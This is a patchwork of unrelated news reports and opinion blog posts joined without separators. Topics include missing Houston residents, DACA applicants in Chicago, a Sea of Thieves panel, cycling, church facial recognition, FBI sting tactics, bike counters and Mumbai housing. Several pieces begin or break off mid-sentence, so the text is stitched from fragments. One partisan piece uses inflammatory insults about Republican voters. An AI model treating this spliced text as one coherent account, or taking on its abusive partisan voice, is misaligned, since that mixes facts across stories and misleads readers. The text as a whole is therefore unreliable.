According to KPRC 2 News, Davis noted that Sidney is a loving husband and father, and not making contact with anyone is “…definitely out of character.” He said, “This is not something he would do… I called and texted him. His phone was dead and he didn’t reply. That’s definitely not him.”
Davis spoke with ABC 13 News as well regarding Sidney’s vehicle being found back in Houston, saying:
“I don’t think they drove back, personally. Somebody had to drive them back… I’m dumbfounded right now. I don’t even know where to begin to be honest with you. I’m just hoping everything can come to some type of light where we can find them safe.”
Another friend, Melody Moore, told KPRC 2 News regarding Krislyn, “Something is not right. She would never leave her baby. Never.”
Authorities are asking for the public’s assistance in their search for Sidney and Krislyn. Anyone with information is asked to call the Houston Police Homicide Division at 713-308-3600 or to contact Crime Stoppers at 713-222-TIPS.
[Photo by Sam72/Shutterstock Image]Many of the young immigrants waiting at Navy Pier were wary — the program does not provide any legal immigration status like a green card, and some would-be applicants worried that there was a risk in coming forward so publicly — but they said any progress toward a legal foothold in the United States would be worth it.
“I know there are a lot of people without documentation who want to continue their school and work and make a better life for their families,” said Darinca Barron, 17, who added that she was brought here by her parents from Mexico when she was 6. “This is just a chance that you have to take.”
Under the program, the federal government will grant a two-year reprieve from deportation to illegal immigrants who are under age 31, have been in this country since they were children and meet other requirements.
President Obama initiated the program on June 15 using his executive authority. He did so after legislation known as the Dream Act — which he supported and which would have given legal status to young immigrants — stalled in Congress. He made broad use of his presidential powers, with as many as 1.7 million immigrants estimated to be eligible for deferrals.
The agency managing the program, Citizenship and Immigration Services, had only 60 days to prepare for the deluge of paperwork. The application form was first published on the Internet on Tuesday afternoon. Officials at the agency said on Wednesday that no major problems had been reported.
Immigrants must mail in the applications, which include a request for the deportation deferral and separate forms for a work permit. Agency officials and immigrant advocates have warned young people that there will be no appeals of applications that are denied, so they should have all their documents in order.
As a result, few applications were submitted on Wednesday. Most immigrants who turned out were seeking guidance about whether they would be eligible and what documents they needed to prove that they met the requirements. At the session at Navy Pier — famous for its Ferris wheel — organizers from the Illinois Coalition for Immigrant and Refugee Rights set up rows of tables in a ballroom where dozens of lawyers and volunteers offered free individual counseling.
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Three prominent Illinois Democrats, all longtime supporters of the Dream Act, gathered at Navy Pier to mingle with the young immigrants and reap some of the political benefits from Mr. Obama’s initiative.
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One of them, Senator Richard J. Durbin of Illinois, wrote the original Dream Act bill 11 years ago. Mr. Durbin, the Senate’s second-ranking Democrat, said he was elated to see the huge crowd. “You can’t stop this force,” Mr. Durbin said to applause from the immigrants. “This is a force of people who have grown up in this country and want to be part of its future. They are creating a moral force beyond a legal force.”
Another of the Democrats, Representative Luis Gutierrez, compared the scene at Navy Pier to the immigrants arriving at Ellis Island a century ago. “While they saw New York City then, today they see Chicago,” he said.
The third Democrat, Mayor Rahm Emanuel, who was Mr. Obama’s White House chief of staff, announced that the city had raised $275,000 in private donations for a college scholarship fund for immigrants who were granted deferrals. Mr. Emanuel pressed home his political point.
“Don’t let anybody tell you on a day like today that who sits in that Oval Office does not matter,” he said. Obama campaign strategists had hoped that halting the deportations would help the president among Hispanics, whose votes could be pivotal in several states.
Republicans have criticized the deportation deferrals as a form of backdoor amnesty for immigrants who broke the law. They say the effort to give work permits to so many of them is poorly timed, with the unemployment rate at more than 8 percent.
Some states greeted the initiative with less enthusiasm than Illinois. In Arizona, Gov. Jan Brewer, issued an executive order on Wednesday barring immigrants who are granted a reprieve from getting public benefits or obtaining drivers’ licenses.
She instructed state agencies to carry out whatever changes were necessary to safeguard “the intent of Arizona voters and lawmakers,” who have passed laws and approved ballot initiatives that prevent anyone other than legal residents from accessing taxpayer-financed benefits.
In New York, the City Council announced that it had set aside $3 million to provide free legal services to deferral applicants through a network of community organizations.
“The City Council has made this investment because we believe that undocumented immigrants have a right to an education and a safe and productive life here in the U.S.,” Speaker Christine C. Quinn said.Rare was back this year for another Sea of Thieves panel at San Diego Comic Con 2016. This time they had even more to share about the game as they dived into the artistic design choices in Sea of Thieves, as well as how they accomplished in making the game world appear to always be in motion. I was fortunate enough to be at the panel and was live tweeting some of the information being talked about. As we wait for Rare to release the official recording of the panel you can read some of the highlights I tweeted out below.
You favorite dancing Rare employee, Adam Park, introduces the panel. Himself, Joe Neate, Ryan Stevenson, Peter Hentze will be hosting “The Art of Adventure” panel
They discuss Rare’s rich history and how pirates have been a common thread since the beginning
From Blackwyche on the Commodore 64 to Viva Piñata
Sea of Thieves had 42 different E3 award nominations
Show Gameplay Trailer from E3 2016. Discuss how showcasing real players experiencing the game was the best way to show off the game
Ryan Stevenson takes the stage to start discussing the art in Sea of Thieves
Pirates are not accustomed to brand new things, every object appears to be old and used making it tell a story
Striving to make objects appear wonky, show wear and tear, and appear patched and repaired
Also a goal of making all the objects in the game look like 3D paintings
Applying wear and tear to a character can give them a much more interesting story
The three different crews with each of their ships
Banjo and Joanna dark easter eggs
Show off the living and breathing world
Showing off the living and breathing world! pic.twitter.com/EnJPUKT5Cx — Rare Thief (@RareThief) July 21, 2016
There will be ghosts in Sea of Thieves
And these ghosts appear to have their own ships!
Rats running around on top of the deck is a sign that your ship is sinking
There are no legendary pirates in the world. The kind of activities the players will partake in will make them legendary
As I mentioned this is only some of the information the Rare team talked about during the panel. Stay tuned for when Rare puts the full panel up for everyone to enjoy!Bradley Wiggins is already talking a good fight in the build up to next year’s Tour de France and despite speculation surrounding his future remains focussed on improving on his fourth place from 2009. The Olympic champion spoke at the recent track meeting in Manchester – Revolution 26 – and believes that he has the ability to beat Lance Armstrong, the rider who stood between him and the podium in Paris this July. Related Articles Wiggins' Worlds podium bid derailed by chain
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Wiggins had taken a three week period off the bike after racing his most gruelling yet most successful season on the road. In previous years, with his focus lying on the track, a sixty day road programme was par but in 2009 Wiggins raced from the Tour of Qatar in February, before competing in the Classics, Giro d’Italia, Tour, Worlds and Sun Tour in September.
“I raced ’till very late in the season with the Sun Tour after the World Championships. To be honest it was perfect really as it extended my season and meant less time pissing around as I only had a small concentrated break, but still got everything out of my system that I needed to,” Wiggins told journalists in Manchester.
“It was my definitely my longest season and I did roughly a hundred days of racing,” he added.
Wiggins, who admitted to gaining a small amount of weight in the off season still looked in good condition after enjoying all the benefits that come with spending time off the bike. “I’ve put on a bit of weight, lager does that to you but I’m not really thinking about diet,” he said.
Wiggins has already earmarked the racing schedule he’ll compete in before lining up as one of the favourites in Rotterdam on July 3. Unlike rivals like Armstrong, the Schlecks and Levi Leipheimer, he’ll opt for his traditional programme of the Classics and the Giro as preparation, instead of racing in the new, revamped Tour of California in May. “I’m going to be a bit overweight at the Giro and that limits what you can do but it’s just training there,” Wiggins said. “I’ll start my season in February and then do most of the early season Spanish races Tour of Murcia, Catalunya, and then couple of the Ardennes. From there I’ll go to the Giro and then the Tour de France. Essentially it will be pretty similar to 2009.
“I never really like going to the US,” he added. “I find the trips quite long and the Giro is always far more relaxed and I’ve got the confidence to ride it quite controlled - race the first 10 days hard and then work for the team or go in the grupetto. It worked really well for me in 2009.”
As for the Tour itself, Wiggins has already sized up a few stages but believes that despite the mountainous profile and critics willing to write him off as early as the route unveiling in October, he can improve and beat Armstrong. “I’ve looked at some of the Tour stages. A lot of people think it won’t be a great Tour for me but that first week if anything is advantageous to me,” he said. “Those cobbled stages could have big gaps to the guys like Andy, Contador, and the guy from America.
“I had one bad day at the Tour this year and that happened to be when it was the day with the most mountains in it and everyone thought it was a weakness of mine but on some of the other stages I was really comfortable on the climbs,” added Wiggins. “It will make for an interesting race and I still think I’m a better rider than Lance and a few of the other guys.”
If Wiggins is to challenge the number one favourite, Alberto Contador, then he’ll need to make a similar improvement to the one he made in 2009, when he wowed the cycling world. “When it really comes down to it Contador is in a league of his own |
he Greenshpan, the CEO of facial recognition software firm Face-Six told IBTimes UK.
"The job of keeping track becomes very difficult when you have many members in your church. When you have 1,000 members, it's very hard to keep track manually."
The software was launched four months ago and is only a small part of Face-Six, which is based in Israel and the US. The firm focuses on high-end video surveillance for law enforcement and large public venues like airports and casinos, as well as facial recognition software that tracks how many unique visitors walk into shopping malls.
People are naturally wary of being under surveillance
Many people feel uncomfortable with the technology and liken it to spying, so it is unlikely that people will be happy to know they are under surveillance at their place of worship.
"We encourage churches to use Churchix out in the open, so that people are aware of it, but so far the churches haven't adopted that approach," said Greenshpan.
"I think people get a bad feeling when they hear about it and you can't argue with that. But at the same time, the major question is, should the church keep track of members when they attend events, whether it is manually, or electronically?"
Greenshpan says that since churches have always had the practice of tracking their members, it shouldn't matter if they are choosing to do so automatically, as the church is not seeking to do anything with the data they collect.
Recent media coverage and word of mouth has seen more churches contact Face-Six with an interest in using the technology, and other places of worship such as synagogues are also interested, but more for security reasons.
Greenshpan said: "We didn't have any intention to get into the church market, but orders started piling up. In a really short period time, we got emails and phone calls from about 10 churches and they all asked us for the same thing, and now we've had even more requests."Zipping past Taylor Creek Park on the Don Valley Parkway, there's something large and animal-like among the trees at the side of the road. It's a little like a herd of elephants, something like a bunch of crooked molars, but before long it's gone from the rear view mirror.
The strange shapes - six of them in total - are actually functional sculptures by Canadian artist Noel Harding. For more than 16 years, Elevated Wetlands (the installation's proper title) has intrigued drivers and park goers while providing an important service to the surrounding ecosystem.
Commissioned by the Canadian Plastics Industry Association, "the voice of the Canadian Plastics Industry," the solar-powered devices draw water up from the Don River and filter it through layers of recycled plastic and automobile fluff, removing pollutants. Wetland trees are planted in the artificial soil and hydrated by the flow of water, boosting the hydroponic process.
The CPIA and City of Toronto split the $1 million cost of building the acrylic-coated polystyrene shapes in 1997 and the first batch of shrubs, trees, and plants was planted by volunteers the same year. 4,000 more arrived in 1998 in the hands of volunteers. Plastics + Art Limited Partnership, the original owner of the partly city-financed shapes, donated the work to Toronto in 2004.
In all, the little ecosystem comprises grassland and a cluster of small ponds that act as a way station for the clean water before it re-enters the river. Where there was once dry salt bed there is now lush plant life.
Although most public interaction with Elevated Wetlands happens within the confines of a car, the shapes are accessible on foot from the west end of the Taylor Creek Trail. Auto access is off Don Mills Road just north of the DVP cloverleaf.
The enigmatic essence of the grey shapes was intentional, the artist told the Toronto Star in 2005. "I wanted it to have meanings, not a meaning," Harding said. "I was after a kind of aura, intrigue. The question: 'What's that' is more interesting than the answer."
Chris Bateman is a staff writer at blogTO. Follow him on Twitter at @chrisbateman.
Image: Bad Alley/Flickr Creative CommonsThe revelation that an undercover FBI agent encouraged a would-be terrorist to “Tear up Texas” shortly before he opened fire on a “Draw Muhammad” cartoon contest in Garland, Texas, last year raises new concerns about FBI counterterrorism efforts that were already under fire for manufacturing terrorism cases rather than halting them.
According to an affidavit filed in a related case last week, Elton Simpson — one of two men who donned body armor and fired assault weapons before being shot dead by a Garland police officer — had been corresponding with an undercover FBI agent. And in a text message roughly a week before the attack, as they discussed the cartoon contest, the agent had exhorted Simpson to “Tear up Texas.”
The FBI, in the affidavit, explained the comment as “an effort to continue their dialogue” with the suspect.
But testing the willingness of suspects to take certain steps in a conspiracy is one thing; actively encouraging them to commit a violent, criminal act is another.
“The FBI uses informants and undercover agents to pressure suspected ISIS sympathizers into committing acts of violence, so that they can then be prosecuted. The Garland shooter case is the most striking illustration yet of the dangers of this approach,” says Arun Kundnani, a lecturer on terrorism studies at New York University. “Essentially, it suggests the government may be manufacturing the very threat it is supposed to be countering.”
Kundnani called for “an independent congressional investigation of the FBI’s tactics.”
The extensive role played by the undercover agent was first reported by the Daily Beast.
Though sting operations are generally seen as an appropriate tool for infiltrating criminal organizations or conspiracies, their use is more problematic in contemporary terrorism cases involving isolated individuals. In those cases, the concern is that the informant or undercover agent could plant the idea to actually conduct an attack in the mind of a suggestible or unstable person.
“These cases always have a lot of gray area and there has always been a question of how far the FBI should go when they get involved in these sting operations,” said Karen Greenberg, director of the Center on National Security at Fordham Law School. “But if you’re going to target potentially unstable, vulnerable individuals in undercover sting operations, you have to examine the potential consequences of having these types of discussions with them.”
The utility of sting operations has changed in the era of Islamic State, Greenberg said. Terrorist groups in the past, including al Qaeda, tended to have more coherent plots and mature conspirators. “There are several factors which make it harder to control a situation with informants in ISIS cases, including the instability, vulnerability, and, frequently, the young age of most ISIS recruits,” Greenberg said. “Not only is there often a lack of a specific plot in mind, there tends to be a real sense of suicidal thinking and self-hatred in their motivations that can make it more difficult to control a situation.”
“We just don’t know what happened in this case, but it’s a real warning sign that the foreseeable consequences of acts are now unknown,” she adds. In none of the previous cases is the FBI known to have actively encouraged violence, nor dealt with anyone equipped and prepared to carry out an imminent, violent act. Here they seemingly did both.
FBI Director James Comey has said there are active investigations of suspected ISIS sympathizers ongoing “in all 50 states.” But little is known about the nature of the individuals held under suspicion or what methods the FBI is using to investigate them.
The New York Times reported in June that since February 2015, two thirds of terrorism prosecutions related to Islamic State have involved undercover operatives.
And in recent years a number of plots have materialized involving seemingly unstable individuals interacting with government informants. This January, a 25-year-old man with a history of psychiatric problems was arrested after attempting to attack an upstate New York bar with a machete — with the assistance of a government informant who helped provide him with the machete. And in October 2014, a former army recruit was introduced to FBI informants after being released from of a mental institution. Months later, he was arrested for plotting to attack a military facility — with a fake bomb provided by the informants.
Although more than 100 alleged Islamic State plots have been documented in the United States since 2014, it’s unclear how many would have materialized without the involvement of informants or undercover agents. Such cases nevertheless help inflate the public fear of terrorism and feed the misconception that terrorist sleeper cells are ubiquitous in the United States.
The escalation of FBI tactics to actively encouraging violent actors in these investigations would be a dangerous step.
Many of the targets of prior terrorism investigations did not demonstrate any ability to prepare for an actual attack without the FBI providing their equipment. But the Garland shooters did.
And had they been more competent in their assault, the result could have been one of the deadliest terrorist attacks in recent U.S. history – an attack that was encouraged by the FBI.SFMTA Begins Installing More Bike Counters Around the City
The SFMTA has begun installing 22 automatic bicycle counters at 15 locations throughout the city to help get a more accurate tally of the rising numbers of bicyclists in San Francisco.
The Zelt inductive loop counters are placed 1 to 3 inches below the pavement and each time someone pedals over one, the system detects a bicycle’s electromagnetic signature and logs it in the system.
“We’re excited to see these automated bike counters going in across San Francisco. They are a helpful tool for the city to realize just how many people bike each day,” said Renee Rivera of the San Francisco Bicycle Coalition. “New bike lanes are already creating connections to make San Francisco an easier and safer place to live, shop, and play, and we’re expecting these bike counters will be hard at work counting many more people bicycling.”
The first automatic counter went in early 2009 on Fell Street between Scott and Divisadero, where the highest monthly total it recorded that year was 41,017 cyclists in September. The intersection of Fell and Scott alone has seen a whopping 70 percent increase in bicycle traffic. The SFMTA estimates there are more than 128,000 daily bicycle trips in the city and there has been a 53 percent increase in bicycling over the last four years despite the recently lifted injunction.
In the past, the SFMTA has used only manual counters, conducting counts during the month of August because of the typically dry weather. The SFMTA interns gathered numbers at 33 locations — mostly around the downtown core — and also tracked gender, helmet use and wrong way and illegal sidewalk riders.
The agency will continue the manual counts and it hopes to eventually extend the automatic counters to 33 locations. It plans to download the data quarterly and hopes to establish baseline averages in six months to a year.
More accurate counts of bicyclists should bolster the case for funding additional bike facilities and supporting strong bike policies. The counters were funded by a $126,000 Prop K grant.<br>
Ravens quarterback Joe Flacco will add to his uniform this season.
After tearing his ACL and MCL last year, Flacco said on the first day of training camp that he will wear a brace on his left knee both during practice and in games throughout the entire year.
“If it helps a little bit, that’s huge,” Flacco said. “I’m not going to leave it up to risk and then have something happen and say, ‘What if?’ I’m going to wear it. There’s no reason not to.”
Other quarterbacks, such as New England’s Tom Brady and Pittsburgh’s Ben Roethlisberger, have also adopted wearing a knee brace after major injuries. It provides more stability, especially on the front plant leg as a quarterback throws.
It’s a precautionary move, not a decision made because Flacco is experiencing problems.
Flacco has already participated in four days of practice because injured veterans and rookies reported to camp Friday. He said he knee has felt “really good.”
“Within a couple minutes, I really forgot about it,” Flacco said. “It’s not like that’s going to be like that the whole time, but I felt like that’s a good sign for how it’s going to be moving forward.”
Flacco still expects his biggest adjustment moving forward to be mental, not physical. He’s going to need to get comfortable with players coming at him again, especially near that rehabbed knee. Flacco’s injury came when one of his offensive linemen was pushed into his knee.
Flacco won’t have defenders around his legs in training camp, as players will be strongly warned not to get too close to the franchise passer. That test would have to come in the preseason.
However, Flacco doesn’t want to put himself at too much risk in preseason games. He said suiting up for the first preseason game on Aug. 11 at M&T Bank Stadium is not the next goal on his checklist.Erica Werner from the Associated Press tweeted out this remarkable peek inside the Republican Party two days ago. Do not expect the Beltway Media to pay attention to it:
Translation: The Nazis are marching into Paris and I'm going to be first in line to greet our liberators with flowers and chocolates and wine.
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Right now, the press is popping champagne over the GOP civil war that's not really raging. Steve Bannon declares war on the establishment! The establishment declares war on Steve Bannon! All of them still want massive tax cuts for billionaires and they all still hate people with brown skin.
The only "war" going on here is a war of degrees. The establishment is worried that goosestepping down Pennsylvania Ave. throwing Nazi salutes is electoral suicide. Bannon is betting that between voter suppression, the coming brownshirt brigades, and blatant election rigging, he'll have enough of white America back his white nationalism that it won't matter. In the meantime, Bannon is reshaping the GOP in his image the same way he reshaped their base.
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That's why Corker and Flake quit and why Inhofe rolled over and bared his throat so easily. It's also why Republicans have been refusing to distance themselves from Trump even as he threatens to wipe out their party in a wave election that will make 2010 look like mild shake up. The bottom line is that the Republican base is so ugly, angry, racist, and, to be perfectly honest, incredibly stupid, that at this point they want goosestepping down Pennsylvania Ave. just to show all the uppity Negros that white people are still in charge and, by God, they're going to stay in charge!
The "moderates" (read as: not willing to be full blown white nationalists), are quitting the party to be replaced by extremists. The cowards like Paul Ryan will try to walk the line between being complicit and feigning innocence until they're forced out by true believers. The rest will "just follow orders" because fascism relies on the weak to accept the immoral and unjust. That's practically a cornerstone of Republican ideology so it won't be much of a transition for them.
The press keeps talking about how Corker and Flake represent a crack in the wall protecting Trump from Republican criticism. That may be true, but it's also a crack in the wall protecting the GOP from Bannon. If Inhofe outing himself as a quisling is any indication, the wrong wall is going to collapse first.
There are 10 days left to the the 2017 elections.
There are 375 days left to the 2018 elections.
- This article kills fascists
Please consider becoming a paid member of The Daily Banter and supporting us in holding the Trump administration to account. Your help is needed more than ever, and is greatly appreciated.Bathymetric map of Tampa Bay by Spain Directorate of Hydrography in 1809
US40 #19 TAMPA, FLORIDA (Bathymetric Map, 1809) Date: 1809 Author: Spain Directorate of Hydrography Dwnld: Full Size (1mb) Source: Library of Congress Print Availability: See our Prints Page for more details pff
This map is part of a series depicting the 40 largest cities in the United States (as ranked by CBSA). This series will run through the month of July.
This map of Tampa Bay is pretty weak; but good maps of Tampa, Florida [gmap] proved hard to come by.
I'm on a tear of some pretty awesome stuff, though, and I expect forgiveness from everyone besides residents of Tampa. From them I humbly request that they share their maps.
For more map resources and imagery from this period in Tampa's history, check out the Florida Historical Society's website.Nikola Mirotic doesn’t mince words when asked how hard it was for him to skip last summer’s EuroBasket tournament, typically a part of his Spanish national team commitment.
“It was very hard,” Mirotic said. “I missed those guys. And I know they missed me too.
“First of all, they’re great friends. They’re also great teammates. I had great success with them, winning one EuroBasket (in 2015) and a (bronze medal at the 2016 Rio de Janeiro) Olympics. So it’s just hard to say no.”
It’s well-documented why Mirotic did. A restricted free agent for the first time, he focused on adding muscle and weight to bring consistency to his game. Just 237 pounds at the end of last season, the 6-foot-10 Mirotic reported to training camp at 260 and currently weighs, in his words, “250-something.”
Watch Mirotic’s game and the benefits are obvious. He has been aggressive on defense, particularly in the post, and he has powered through contact on drives. His footwork has remained active despite the added weight.
“I feel very, very strong in my legs,” Mirotic said. “Going to the board, I feel great. Defending the low post is a huge difference. Going into the basket, I’m going into the guy.
“There’s a lot of improvement I’m seeing so far, but I can’t stop now. Because to be consistent, you have to keep working.”
So Mirotic has remained on a diluted version of his offseason program, lifting with strength coach Matt Johnson two to three times a week. He put back the weight he lost when he initially couldn’t eat after Bobby Portis broke two of his facial bones in an Oct. 17 practice altercation.
“Two summers ago, (management) talked about (me) getting stronger, adding pounds,” Mirotic said. “But I had Olympic Games. I couldn’t say no to that. I chose to go.
“This summer, especially with a contract year at hand, I decided to stay. And we knew strength would be an area I could improve. I was a little worried in the beginning if I was going to be that fast with all that weight, but I feel great. I feel quick.
“I know where I was before I started lifting and where I am now. It feels good. I’m looking forward to working (more) on my body because it helps my game. So I’m going to do it more in the future.”
Where that future is remains to be seen. Despite the solid chemistry Mirotic and Portis have displayed on the court since Mirotic returned after missing the first 23 games, his camp hasn’t backed off its stance that he would agree to the right trade once he’s eligible to be dealt Jan. 15.
By virtue of the structure of his two-year deal with a team option, Mirotic can decline a trade. Management has said it won’t be held hostage by Mirotic’s demands and will do what’s best for the franchise. Team sources said Mirotic still will be shopped despite his strong start.
It’s a win-win. If Mirotic is dealt, it would be for assets that help the rebuild. If he isn’t, his improved play has fit coach Fred Hoiberg’s system well.
“The added strength has helped Niko a lot in the post,” Hoiberg said. “He has guarded centers on certain occasions when he and Lauri (Markkanen) are in there together. And he has been really good fronting the post. We’re obviously pleased.”
Layups: Speaking with David Schuster on WSCR-670 AM in what has become a Christmas Day tradition, executive vice president John Paxson tapped the brakes on Hoiberg’s latest positive update on Zach LaVine. While Paxson stressed nothing has gone wrong in LaVine’s rehab from left ACL surgery, he called the timeline for LaVine’s return “fluid” and reiterated his first game could be with the Gatorade League’s Windy City Bulls. Hoiberg had expressed optimism for LaVine’s return to NBA action in mid-January, which could still happen, but Paxson repeatedly said to “temper” expectations. … The Bulls took Monday off and will hold a closed walk-through Tuesday in Chicago before busing to Milwaukee.
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Fred Hoiberg as comfortable and confident in his position as ever »
Shake it off: Kris Dunn keeps head up after tough game against Celtics »
Bulls reveal latest schedule for Zach LaVine’s return before loss to Celtics »In a commentary praising former President Barack Obama and his efforts to promote homosexual rights and commit the United States to an international “climate change” agreement, Vogue magazine claims it’s “high time we gave up” on President Donald Trump’s daughter and adviser Ivanka Trump because she has not furthered Obama’s legacy.
The piece, written by Michelle Ruiz, who is “a Vogue.com contributing editor who played Gloria Steinem in the seventh grade play,” begins by blasting President Trump’s decision to stop accommodating transgender individuals who want to serve in the military and receive government-paid sex reassignment surgery and other perks.
“Just this June, in honor of Pride Month, the presidential daughter and special assistant to the president pledged to be an ally for the LGBTQ community, tweeting, ‘I am proud to support my LGBTQ friends and the LGBTQ Americans who have made immense contributions to our society and economy,’ the author wrote. “That support evidently doesn’t extend to the likely thousands of trans servicepeople (that’s the “T,” in LGBTQIA, Ms. Trump), who signed up to risk their lives on behalf of all Americans and whose careers now hang in the balance.”
After expressing doubt that Ivanka has “her father’s ear,” the author moves on to the pressing matter of climate change — and Planned Parenthood.
“On climate change: It was she who met with Al Gore and Leonardo DiCaprio during the transition, only to see her father make the U.S. one of the only developed nations on the planet to pull out of the Paris climate accord,” the author wrote. “While she fancies herself an ‘advocate for the education and empowerment of women and girls,‘ she’s been conspicuously (dead) silent as her father rolled back workplace protections that apply to the gender pay gap and continues to urge (to the point of public shaming) GOP congressmen to defund Planned Parenthood and pass health care bills that would strip coverage from millions of women—not quite a boon to women’s empowerment.”
Then they author quotes Obama adviser Dan Pfeiffer, who rates his replacement poorly.
“Ivanka might be the least influential Presidential advisor in history,” said Pfeiffer, who obviously has a higher opinion of his own advisory abilities.
The commentary goes on to trash Ivanka’s husband, Jared Kushner, and even President Trump’s speech to the Boy Scouts.
The author concludes that Ivanka should stick to an earlier claim she recently made.
“Ivanka recently went so far as to return to her pre-White House claim that she tries to ‘stay out of politics.‘ Another translation? She’s all but given up, and it’s high time we gave up on her, too.”I love the Washington Post/ABC poll. It’s a great object lesson in how to manufacture news. Need a story that the incumbent President’s fortunes are looking up? Well, just adjust the sample a bit and voila, he takes a seven point lead over his presumed rival in the fall election! Besides, it gives me fodder for snarky material every few weeks.
Let’s get down to cases, shall we?
With the general-election campaign beginning to take shape, President Obama holds clear advantages over Mitt Romney on personal attributes and a number of key issues, but remains vulnerable to discontent with the pace of the economic recovery, according to a new Washington Post-ABC News poll. Obama has double-digit leads over the likely Republican presidential nominee on who would do a better job of protecting the middle class, addressing women’s issues, handling international affairs and dealing with health care.
You know where else Obama got a double-digit lead? In the polling sample. In 2008, when Democrats surged to the polls after eight years of George W. Bush, CNN’s exit polls showed a seven-point advantage for Democrats, 39/32, which mirrored Obama’s seven-point victory in the popular vote. In 2010′s midterms, CNN exit polls showed a 35/35/30 split. By contrast, the previous WaPo/ABC poll in March had a D/R/I of 31/27/36, which undersampled both parties relative to independents but left Democrats with a 4-point advantage — perhaps an arguable model for 2012 turnout. Today’s has a D/R/I of 34/23/34, adding seven points to that Democratic advantage and presenting a completely unrepresentative, absurd model for the 2012 turnout.
What happens when you switch from a D+4 to a D+11 in measuring Obama’s standing? Suddenly, his job approval goes from 46% to 50% — actually, a rather weak gain given the sampling distortion in the poll. Not coincidentally, the last time Obama hit 50% in this poll was in February, which also had a D+11 sample, after January’s D+7. Adding seven points to the Democratic advantage impacted Obama’s performance in all areas, although perhaps not as much as the editors had hoped:
Economy — Up six points from 38% to 44%
International affairs — Down two points from January’s poll, 47% from 49%
Right/wrong direction – Up three points from January
Now, with a D+11 and Republicans only comprising 23% of the respondents in this poll, one should be seeing huge leads for Obama in the head-to-head matchups. Instead, Obama lead Romney by only eight among general-population adults, 51/43, barely getting into majority territory, and Santorum by ten, 51/41. Among registered voters, Obama leads Romney by seven, 51/44 — in both cases, smaller than the artificial sample advantage of the poll. In fact, adding seven more points to the Democratic advantage only resulted in Obama’s support growing by five points since March, and Romney’s dropped only four in that period. Once again, the numbers are almost exactly like February’s poll, with its matching D+11 sample.
But hey — the Post got to write its headline, right?
Update: Twitchy captures a bizarre exchange between Stephen “VodkaPundit” Green, me, and a staffer at Think Progress, who jumped to the conclusion that we were raaaaaaaaaaaacists for joking about the WaPo/ABC poll. You really have to read it for yourself, although Twitchy misses my tweet in reaction to Annie-Rose Strasser’s complaint about my “mean” response: “@ARStrasser @VodkaPundit I’m sorry for not being more gracious when you accused me of being a racist.”Anime News Network's merchandise coverage sponsored by Tokyo Otaku Mode
The girls of the Hokage Tea Time band regularly got instrument tie-ins during height of the show's popularity. Autographed guitars were especially popular in Lawson campaigns.
Interest in the series has waned, which isn't unusual for a show that's almost seven years old. Still, the characters' birthdays usually get some kind of recognition with new tie-in goods.
Bass player Mio Akiyama is celebrated her birthday on January 15. The TBS and MBS television station store, Animaru, noted the day with new goods. Items include a light-up bass effector, nearly life-size pillows, a glasses holder, and t-shirt.
The "K-On! Mio Driver (K-MD1) costs 29,700 yen (US$254) and has a light-up engraving when the power is turned on. One of the dials is the "Hokage Tea Time" control.
The acrylic glasses stand depicts Mio's face, so you can rest your glasses on her when you aren't using them. It costs 3,780 yen (US$32).
The seal set includes a stamp that can be used on official documents, a carrying case, and an ink pad. It costs 4,860 yen (US$41.50).
The almost life-size pillow of Mio shows her in a blue mini-dress with a high ponytail. It's 100cm × 150cm (39in x 59in) and costs 15,222 yen (US$130). The shop also has the same pillow but with a removable cover for 20,365 yen (US$174).
A t-shirt of Mio wearing an over-sized top hat costs 5,616 yen (US$48).
A folded chair-like cushion costs 7,992 yen (US$69). Replacement covers cost 5,724 yen (US$49).
The shop is also selling an overstuffed square pillow of Mio for 7,020 yen (US$60).
Source: Comic NatalieThe Commonwealth Bank repeatedly ignored evidence of an alleged $100 million fraud that implicated its own staff, and instead, seized the homes of victims in a bid to recoup its losses.
Fairfax Media can reveal the CBA allowed the alleged architects of the scam, Bill Jordanou and Robert Zaia, to continue to broker tens of millions of dollars in loans after failing to heed the findings of an investigation by the bank’s internal fraud division almost seven years ago.
The failure to act on the information raises serious questions about the CBA’s culpability in the losses and its decision to continue to seize the homes of Victorian families that police have identified as victims.
Mr Jordanou, Mr Zaia and three accomplices were charged last month with hundreds of counts of fraud and financial deception resulting from a decade-long alleged scam run from suburban accountancy firm Zaia Arthur & Associates.
Victoria Police’s fraud squad launched an investigation into the firm in late 2011 after the CBA reported loan applications lodged on behalf of clients that were supported by falsified documents.Editor's note: This story was written on Aug. 7, 2015, and updated with a link to NeighborhoodScout's 2015 report on May 13, 2016. An update on the NeighborhoodScout website made the previous report link invalid.
ST. PETERSBURG, FL -- St. Petersburg might be known for its bustling downtown, museums and sun-drenched waterfront, but it's also home to a fair amount of crime.
That's the conclusion the folks at NeighborhoodScout came to when putting together their list of America's Top 100 most dangerous towns. On the danger scale, St. Pete comes in near the end of the list, ranking 91st in the country, the website noted. Nearby Tampa, Clearwater and Sarasota didn't earn the dubious honors of a ranking.
To arrive at its findings, NeighborhoodScout looked at the number of violent crimes reported to the FBI within cities that have populations of 25,000 or more. The rankings are based on the number of violent crimes per 1,000 residents.
"What makes NeighborhoodScout's analysis more comprehensive than others is the fact that we take into account all 17,000 law enforcement agencies in America for each city with a population more than 25,000," the website explained. "Many cities across the country are served by more than one agency: they include municipal police, county sheriff, transit police, university or campus police, public school police, park and port police, tribal police, and more."
St. Pete's ranking places it at No. 10 in the state. Other cities that made the most dangerous list include Miami, Lake Worth and Daytona Beach. Homestead ranked No. 1 in Florida while Camden, N.J., took first-place in the national listing.
Check out NeighborhoodScout's full report online.
Florida was ranked as America's eighth most dangerous state last year, according to a report from Law Street.Mumbai is the densest major city in the world. Over five decades ago, urban planners reduced Mumbai's floor space index (FSI) to lower the population density of the city. But, this did not happen. People did not stop migrating to the city of dreams for the numerous opportunities it offered. They settled down in confined spaces and made the city their home. Those who could afford, bought homes; rest created the slums.
Population density in Mumbai is still among the highest in the world. Instead of lowering the population density of the city, FSI restrictions lowered the amount of floor space people consumed. In other major cities, floor space per person has increased with increasing population, but Mumbai remains an exception to the well-documented trend. An average resident of Mumbai consumes 48 sq ft of space. Curiously enough, the Federal Bureau of Prisons (U.S. Department of Justice) allots 45-60 sq ft to prisoners. Yet, this limited space costs a fortune in Mumbai.
Infographic by Sandeep Bhatnagar
Mumbai is far more productive than other Indian cities. Yet, income levels in the commercial capital of India are not high enough to match real estate prices in the city. For instance, an average Indian citizen would have to work for 308.1 years to buy a 100 sq mt residence in a prime neighbourhood in Mumbai, while it would take merely 48.4 years for an average American to buy such a home in New York. If building restrictions did not exist, residential property would have been affordable with more homes in a limited area.
Infographic by Sandeep Bhatnagar
